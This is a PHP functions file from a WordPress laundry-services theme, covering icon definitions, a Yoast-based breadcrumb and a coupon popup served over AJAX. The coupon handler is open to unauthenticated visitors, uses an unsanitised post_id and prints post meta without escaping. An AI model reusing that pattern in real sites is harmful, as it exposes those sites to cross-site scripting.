0.051 1.031 0.066 0.5 0.025 1 0.056 1.5 0.071 0.536 0.015 1.066 0.020 1.602 0.031 0.036 0 0.077 0 0.112-0.010 0.092-0.020 0.158-0.077 0.179-0.173 0.010-0.061 0.015-0.128 0.015-0.189 0-4.541 0-9.082 0-13.622 0-3.275 0-6.551 0-9.832 0-0.056 0-0.117-0.010-0.173-0.020-0.097-0.082-0.158-0.179-0.189-0.153-0.046-0.301-0.092-0.454-0.138-0.158-0.051-0.25-0.025-0.357 0.107-0.194 0.245-0.388 0.485-0.582 0.73-1.051 1.316-2.102 2.638-3.158 3.954-0.020 0.020-0.041 0.046-0.071 0.082zM7.987 13.276c0-0.010-0.005-0.025-0.005-0.036-0.031-0.189-0.056-0.372-0.087-0.561-0.138-0.883-0.327-1.75-0.571-2.612-0.281-0.985-0.643-1.944-1.133-2.847-0.020-0.036-0.041-0.071-0.061-0.107-0.087-0.143-0.311-0.143-0.408-0.015-0.025 0.036-0.056 0.066-0.082 0.102-0.367 0.469-0.699 0.969-1.020 1.475-0.694 1.102-1.337 2.24-1.949 3.393-0.23 0.429-0.449 0.862-0.673 1.296-0.066 0.127-0.061 0.24 0.020 0.362 0.173 0.25 0.367 0.48 0.592 0.679 0.459 0.413 0.985 0.725 1.551 0.959 0.551 0.23 1.128 0.372 1.709 0.49 0.168 0.036 0.281-0.015 0.383-0.153 0.286-0.393 0.577-0.775 0.867-1.163 0.26-0.347 0.52-0.699 0.786-1.046 0.051-0.066 0.077-0.133 0.082-0.214zM26.054 15.868c0.015 0 0.036-0.005 0.056-0.010 0.316-0.071 0.633-0.133 0.944-0.219 0.704-0.194 1.367-0.48 1.964-0.913 0.383-0.275 0.719-0.602 0.99-0.995 0.087-0.127 0.097-0.245 0.025-0.388-0.663-1.306-1.367-2.597-2.117-3.857-0.413-0.699-0.847-1.383-1.327-2.036-0.087-0.117-0.179-0.235-0.27-0.352-0.112-0.143-0.327-0.133-0.418 0.020-0.025 0.036-0.046 0.077-0.066 0.112-0.311 0.582-0.577 1.184-0.796 1.806-0.474 1.347-0.77 2.735-0.974 4.143-0.020 0.122 0.010 0.225 0.082 0.321 0.342 0.449 0.679 0.903 1.015 1.352 0.219 0.291 0.439 0.582 0.658 0.877 0.056 0.087 0.133 0.133 0.235 0.138zM16.018 0.837c-0.393 0.010-0.786 0.031-1.173 0.066-0.418 0.041-0.837 0.117-1.245 0.23-0.23 0.061-0.449 0.138-0.663 0.245-0.148 0.077-0.199 0.179-0.168 0.332 0.112 0.531 0.245 1.061 0.423 1.571 0.194 0.541 0.423 1.066 0.75 1.546 0.25 0.372 0.546 0.704 0.923 0.954 0.311 0.204 0.653 0.306 1.015 0.342 0.275 0.025 0.546-0.025 0.806-0.112 0.408-0.138 0.74-0.388 1.025-0.704 0.367-0.403 0.633-0.862 0.857-1.357 0.321-0.714 0.531-1.464 0.689-2.23 0.031-0.158-0.005-0.25-0.148-0.327-0.102-0.051-0.204-0.102-0.311-0.143-0.561-0.209-1.143-0.311-1.74-0.362-0.347-0.025-0.694-0.036-1.041-0.051zM20.125 2.669c-0.122 0-0.209 0.061-0.245 0.184-0.128 0.429-0.27 0.852-0.444 1.26-0.306 0.714-0.684 1.383-1.24 1.934-0.112 0.112-0.117 0.265-0.010 0.398 0.699 0.872 1.393 1.745 2.087 2.612 0.020 0.025 0.041 0.051 0.066 0.077 0.153 0.138 0.383 0.056 0.413-0.138 0.010-0.046 0.015-0.092 0.025-0.138 0.036-0.265 0.071-0.536 0.112-0.801 0.051-0.372 0.102-0.745 0.153-1.112 0.056-0.418 0.112-0.837 0.168-1.255 0.061-0.459 0.128-0.923 0.189-1.383 0.010-0.077-0.005-0.148-0.051-0.209-0.036-0.051-0.077-0.102-0.117-0.153-0.296-0.383-0.592-0.765-0.883-1.148-0.061-0.077-0.128-0.122-0.225-0.127zM10.63 4.286c0.015 0.128 0.031 0.255 0.051 0.378 0.056 0.418 0.117 0.837 0.173 1.255 0.056 0.423 0.112 0.842 0.173 1.265 0.066 0.48 0.133 0.959 0.199 1.434 0.020 0.133 0.036 0.27 0.061 0.398 0.025 0.133 0.163 0.204 0.296 0.179 0.087-0.015 0.133-0.071 0.184-0.133 0.408-0.51 0.816-1.025 1.224-1.536 0.286-0.357 0.571-0.714 0.852-1.071 0.122-0.153 0.122-0.281-0.005-0.408-0.403-0.408-0.719-0.877-0.98-1.383-0.296-0.571-0.52-1.173-0.699-1.791-0.031-0.102-0.082-0.173-0.194-0.199s-0.199 0.010-0.265 0.102c-0.337 0.439-0.673 0.872-1.010 1.311-0.046 0.056-0.061 0.122-0.061 0.199zM18.727 14.878c-0.265 0-0.485 0.214-0.485 0.48s0.214 0.485 0.48 0.485c0.27 0 0.495-0.24 0.48-0.475 0.020-0.245-0.204-0.49-0.474-0.49zM18.237 19.75c0 0.265 0.25 0.48 0.474 0.48 0.25 0.005 0.485-0.23 0.49-0.48 0-0.276-0.26-0.505-0.48-0.48-0.245-0.020-0.485 0.23-0.485 0.48zM18.727 23.658c-0.26 0-0.474 0.214-0.485 0.469-0.010 0.225 0.184 0.495 0.485 0.495s0.495-0.265 0.474-0.474c0.020-0.27-0.235-0.49-0.474-0.49zM11.146 15.077c-0.015 0.194-0.010 0.755 0.010 0.826 0.225 0.020 2.403 0.010 2.474-0.010 0-0.27 0-0.546 0-0.821-0.199-0.031-2.413-0.020-2.485 0.005z"></path>
					</svg>';
			break;
		default:
			return '';
	}
}

/*
 =============================================================================
 * Get Theme Font Icon
 * ============================================================================= */
if ( ! function_exists( 'laundry_get_theme_font' ) ) {

	function laundry_get_theme_font() {
		if ( isset( $GLOBALS['laundry_theme_icons'] ) && is_array( $GLOBALS['laundry_theme_icons'] ) ) {
			return $GLOBALS['laundry_theme_icons'];
		}
		$GLOBALS['laundry_theme_icons'] = apply_filters(
			'laundry_theme_icons',
			array(
				array( 'icon-email' => 'icon-email' ),
				array( 'icon-fax-machine' => 'icon-fax-machine' ),
				array( 'icon-iron' => 'icon-iron' ),
				array( 'icon-ironing-board' => 'icon-ironing-board' ),
				array( 'icon-sewing-machine' => 'icon-sewing-machine' ),
				array( 'icon-shoes' => 'icon-shoes' ),
				array( 'icon-bright-lightbulb' => 'icon-bright-lightbulb' ),
				array( 'icon-tag-1' => 'icon-tag-1' ),
				array( 'icon-reading-book' => 'icon-reading-book' ),
				array( 'icon-quality' => 'icon-quality' ),
				array( 'icon-express-delivery' => 'icon-express-delivery' ),
				array( 'icon-interface' => 'icon-interface' ),
				array( 'icon-telephone' => 'icon-telephone' ),
				array( 'icon-clock' => 'icon-clock' ),
				array( 'icon-map-pointer' => 'icon-map-pointer' ),
				array( 'icon-people' => 'icon-people' ),
				array( 'icon-play' => 'icon-play' ),
				array( 'icon-search' => 'icon-search' ),
				array( 'icon-shirt' => 'icon-shirt' ),
				array( 'icon-bag' => 'icon-bag' ),
				array( 'icon-towel' => 'icon-towel' ),
				array( 'icon-star' => 'icon-star' ),
				array( 'icon-tag' => 'icon-tag' ),
				array( 'icon-electric-iron' => 'icon-electric-iron' ),
				array( 'icon-technology' => 'icon-technology' ),
				array( 'icon-Laundry-detergent-free-icon-4' => 'icon-Laundry-detergent-free-icon-4' ),
				array( 'icon-video' => 'icon-video' ),
				array( 'icon-arrows' => 'icon-arrows' ),
				array( 'icon-basic-tick' => 'icon-basic-tick' ),
				array( 'icon-bag1' => 'icon-bag1' ),
				array( 'icon-delivery-truck' => 'icon-delivery-truck' ),
				array( 'icon-tool' => 'icon-tool' ),
				array( 'icon-clothes-1' => 'icon-clothes-1' ),
				array( 'icon-clothes-2' => 'icon-clothes-2' ),
				array( 'icon-clothes-3' => 'icon-clothes-3' ),
				array( 'icon-clothes-4' => 'icon-clothes-4' ),
				array( 'icon-hand-wash' => 'icon-hand-wash' ),
				array( 'icon-hanger' => 'icon-hanger' ),
				array( 'icon-laundry' => 'icon-laundry' ),
				array( 'icon-instagram-social-network-logo-of-photo-camera' => 'icon-instagram-social-network-logo-of-photo-camera' ),
				array( 'icon-linkedin-logo' => 'icon-linkedin-logo' ),
				array( 'icon-twitter-logo-silhouette' => 'icon-twitter-logo-silhouette' ),
				array( 'icon-facebook-logo' => 'icon-facebook-logo' ),
				array( 'icon-social' => 'icon-social' ),
				array( 'icon-social-1' => 'icon-social-1' ),
				array( 'icon-vimeo' => 'icon-vimeo' ),
				array( 'icon-left-arrow' => 'icon-left-arrow' ),
				array( 'icon-right-arrow' => 'icon-right-arrow' ),
				array( 'icon-pilesos' => 'icon-pilesos' ),
				array( 'icon-hanger-with-clothes' => 'icon-hanger-with-clothes' ),
				array( 'icon-menu-button-of-three-horizontal-lines' => 'icon-menu-button-of-three-horizontal-lines' ),
				array( 'icon-cancel-music' => 'icon-cancel-music' ),
				array( 'icon-customers' => 'icon-customers' ),
				array( 'icon-exit' => 'icon-exit' ),
				array( 'icon-university-campus' => 'icon-university-campus' ),
				array( 'icon-building' => 'icon-building' ),
				array( 'icon-towel2' => 'icon-towel2' ),
				array( 'icon-garbage' => 'icon-garbage' ),
				array( 'icon-furniture' => 'icon-furniture' ),
				array( 'icon-chat-bubble' => 'icon-chat-bubble' ),
				array( 'icon-today' => 'icon-today' ),
				array( 'icon-angle-down' => 'icon-angle-down' ),
				array( 'icon-angle-up' => 'icon-angle-up' ),
				array( 'icon-bin' => 'icon-bin' ),
				array( 'icon-calendar' => 'icon-calendar' ),
				array( 'icon-arrow' => 'icon-arrow' ),
				array( 'icon-arrow.opened' => 'icon-arrow.opened' ),
			)
		);

		return $GLOBALS['laundry_theme_icons'];
	}
}

/*
 =============================================================================
 * Get Theme Font Icon
 * ============================================================================= */
if ( ! function_exists( 'laundry_get_theme_font' ) ) {

	function laundry_get_theme_font() {
		if ( function_exists( 'laundry_get_theme_font' ) ) {
			return laundry_get_theme_font();
		}
		$fonts = array();
		return $fonts;
	}
}

/*
 =============================================================================
 * Add theme icon
 * ============================================================================= */
if ( ! function_exists( 'laundry_add_theme_icon' ) ) {

	function laundry_add_theme_icon( $icons ) {
		$icons['Laundry Icon'] = &laundry_get_theme_font();
		return $icons;
	}

	add_filter( 'vc_iconpicker-type-fontawesome', 'laundry_add_theme_icon' );
}

/**
 * return redux options
 */
if ( ! function_exists( 'laundry_get_options' ) ) {

	function laundry_get_options() {
		global $laundry_opt;
		return $laundry_opt;
	}
}

function laundry_services_options() {
	global $laundry_opt;
	return $laundry_opt;
}
/**
 * is_blog compatibility.
 */
function is_blog() {
	if ( ( is_archive() ) || ( is_author() ) || ( is_category() ) || ( is_home() ) || ( is_single() ) || ( is_tag() ) ) {
		return true;
	} else {
		return false;
	}
}
/**
 * Breadcrumb
 */
add_action( 'laundry_breadcrumb', 'laundry_breadcrumb' );

function laundry_breadcrumb() {
	 global $post;
	$laundry_option = laundry_services_options();

	$theme = $laundry_option['laundry_demo_select'];
	if ( ! isset( $post->ID ) ) {
		return false;
	}

	if ( ! is_front_page() || is_home() ) {
		if ( ( isset( $post->post_type ) && is_page() ) || is_search() || is_home() || is_single() || is_archive() || is_category() ) {
			$show_breadcrumb = get_post_meta( $post->ID, 'framework_show_breadcrumb', true );
			if ( is_search() || is_home() || is_single() || is_archive() || is_category() ) {
				if ( isset( $laundry_option['laundry-blog-show-breadcrumb'] ) && $laundry_option['laundry-blog-show-breadcrumb']
				) {
					$show_breadcrumb = 'on';
				} elseif ( isset( $laundry_option['laundry-service-show-breadcrumb'] ) && $laundry_option['laundry-service-show-breadcrumb']
				) {

				} else {
					$show_breadcrumb = 'off';
				}
			}

			if ( $show_breadcrumb == 'on' || ! $show_breadcrumb ) {
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					if ( $theme == '2' ) {

						if ( is_blog() ) {
							$header_bg = $laundry_option['laundry-header-breadcamb']['url'];
						} else {
							$header_bg = get_the_post_thumbnail_url();
						}

						?>
						<div id="subtitle-wrapper" class="lazyload" data-bg="<?php echo esc_url( $header_bg ); ?>">
							<div class="container container-fluid-xl">
								<div class="tt-breadcrumbs">
									<?php
									if ( is_single() && ! is_singular( 'laundry_services' ) ) {
										?>
										<span><span><a href="<?php echo home_url(); ?>"><?php esc_html_e( 'Home', 'laundry' ); ?></a> / <span class="breadcrumb_last" aria-current="page"><?php esc_html_e( 'Single Post', 'laundry' ); ?></span></span></span>
										<?php
									} else {
										yoast_breadcrumb( '', '' );
									}
									?>
								</div>
								<h1 class="subtitle__title">
								<?php
								if ( is_archive() ) {
									get_the_archive_title();
								} elseif ( is_search() ) {
									if ( have_posts() ) :
										printf( esc_html__( 'Search Results for: %s', 'laundry' ), '<span>' . get_search_query() . '</span>' );
										else :
											esc_html_e( 'Nothing Found', 'laundry' );
										endif;
								} elseif ( is_404() ) {
									esc_html_e( 'Error Page', 'laundry' );
								} elseif ( is_blog() ) {
									if ( is_single() ) {
										if ( is_singular( 'laundry_services' ) ) {
											the_title();
										} elseif ( is_singular( 'product' ) ) {
											esc_html_e( 'Single Product', 'laundry' );
										} else {
											esc_html_e( 'Single Post', 'laundry' );
										}
									} else {
										esc_html_e( 'Blog Posts', 'laundry' );
									}
								} else {
									the_title();
								}
								?>
								</h1>
							</div>
							<div class="bubbleContainer">
								<div class="bubble-1"></div>
								<div class="bubble-2"></div>
								<div class="bubble-3"></div>
								<div class="bubble-4"></div>
								<div class="bubble-5"></div>
								<div class="bubble-6"></div>
								<div class="bubble-7"></div>
								<div class="bubble-8"></div>
								<div class="bubble-9"></div>
								<div class="bubble-10"></div>
							</div>
						</div>
						<?php
					} else {
						?>
						<div class="breadcrumb">
							<div class="container">
								<div class="row">
									<div class="breadcrumbs">
										<div class="container">
											<div class="row">
												<?php
													yoast_breadcrumb( '', '' );
												?>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
						<?php
					}
				}
			}
		}
	}
}




function laundry_services_coupon_popup_ajax() {
	 check_ajax_referer( 'coupon', 'security' );
	$post_id               = $_POST['post_id'];
	$coupon_address        = get_post_meta( $post_id, 'framework-coupon-address', true );
	$coupon_date           = get_post_meta( $post_id, 'framework-coupon-date', true );
	$coupon_offer_title    = get_post_meta( $post_id, 'framework-coupon-offer-title', true );
	$coupon_offer_subtitle = get_post_meta( $post_id, 'framework-coupon-offer-subtitle', true );
	$coupon_bottom_right   = get_post_meta( $post_id, 'framework-coupon-bottom-right', true );
	$coupon_color_style    = get_post_meta( $post_id, 'framework-coupon-color-style', true );

	if ( $coupon_color_style == 'coupon_green' ) {
		$coupon_color_style = 'style1';
	} elseif ( $coupon_color_style == 'coupon_blue' ) {
		$coupon_color_style = 'style2';
	} elseif ( $coupon_color_style == 'coupon_black' ) {
		$coupon_color_style = 'style3';
	}
	?>
	<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
		<div class="modal-dialog" role="document">
			<div class="modal-content">
				<div class="modal-header">
					<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
					<h4 class="modal-title" id="myModalLabel"><?php echo esc_html__( 'Coupon', 'laundry' ); ?></h4>
				</div>
				<div class="modal-body" id="modal-coupon">
					<div>
						<div class="coupon <?php echo sprintf( __( '%s', 'laundry' ), $coupon_color_style ); ?>">
							<div class="inside">
								<div class="coupon-logo"><?php echo get_the_post_thumbnail( $post_id, 'laundry_services-coupon' ); ?></div>
								<div class="text1"><?php echo sprintf( __( '%s', 'laundry' ), $coupon_address ); ?></div>
								<div class="text2"><?php echo sprintf( __( '%s', 'laundry' ), $coupon_date ); ?></div>
								<div class="text3"><?php echo sprintf( __( '%s', 'laundry' ), $coupon_offer_title ); ?></div>
								<div class="text4"><?php echo sprintf( __( '%s', 'laundry' ), $coupon_offer_subtitle ); ?></div>
								<div class="text5"><?php echo sprintf( __( '%s', 'laundry' ), $coupon_bottom_right ); ?></div>
							</div>
						</div>
					</div> 
				</div>
				<div class="modal-footer">
					<button type="button" id="btn_save_close" class="btn btn-default btn-blue" data-dismiss="modal"><?php echo esc_html__( 'Close', 'laundry' ); ?></button>
					<button id="btn_save_and_close" type="button" class="btn btn-default btn-blue"><?php echo esc_html__( 'Print', 'laundry' ); ?> </button>
				</div>
			</div>
		</div>
	</div>
	<?php
	exit();
}

add_action( 'wp_ajax_coupon_popup_ajax', 'laundry_services_coupon_popup_ajax' );
add_action( 'wp_ajax_nopriv_coupon_popup_ajax', 'laundry_services_coupon_popup_ajax' );

if ( ! function_exists( 'laundry_services_post_class' ) ) {

	function laundry_services_post_class( $classes ) {
		global $post;
		if ( isset( $post->post_type ) && $post->post_type == 'post' ) {

			if ( is_single( $post ) ) {

				$classes[] = 'blog-post';
				$classes[] = 'single';
			}
		}
		return $classes;
	}
}
add_filter( 'post_class', 'laundry_services_post_class' );


function laundry_elementor_library() {
	$pageslist = get_posts(
		array(
			'post_type'      => 'elementor_library',
			'posts_per_page' => -1,
		)
	);
	$pagearray = array();
	if ( ! empty( $pageslist ) ) {
		foreach ( $pageslist as $page ) {
			$pagearray[ $page->ID ] = $page->post_title;
		}
	}
	return $pagearray;
}